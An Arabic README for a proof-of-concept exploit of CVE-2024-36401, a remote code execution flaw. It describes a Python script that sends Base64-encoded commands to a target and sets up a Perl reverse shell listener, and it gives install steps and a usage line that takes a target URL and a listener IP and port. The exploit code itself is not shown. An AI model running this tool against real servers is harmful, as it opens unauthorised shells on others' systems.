CVE-2024-36401-PoC

يحتوي هذا المستودع على سكربت إثبات المفهوم (PoC) للثغرة الأمنية CVE-2024-36401، وهي ثغرة يمكن استغلالها لتحقيق تنفيذ التعليمات البرمجية عن بُعد على الخادم الهدف.

الميزات

• تعيين مستمع قشرة عكسية باستخدام Perl.
• ترميز الأوامر باستخدام Base64.
• إرسال طلبات إلى الخادم الهدف لاستغلال الثغرة.
• التعامل مع الانقطاعات بشكل سلس عبر معالجة الإشارات.

المتطلبات الأساسية

• Python 3.x
• مكتبة requests

التثبيت

1. استنساخ هذا المستودع:

   root@kitploit:~

   git clone https://github.com/yourusername/CVE-2024-36401-PoC.git
   cd CVE-2024-36401-PoC
   

2. تثبيت مكتبة Python المطلوبة:

   root@kitploit:~

   pip install requests
   

3. تأكد من أن type_names.txt موجود في نفس الدليل الذي يوجد فيه rev.py.

الاستخدام

python3 rev.py -u <target_url> -i <listener_ip> -p <listener_port>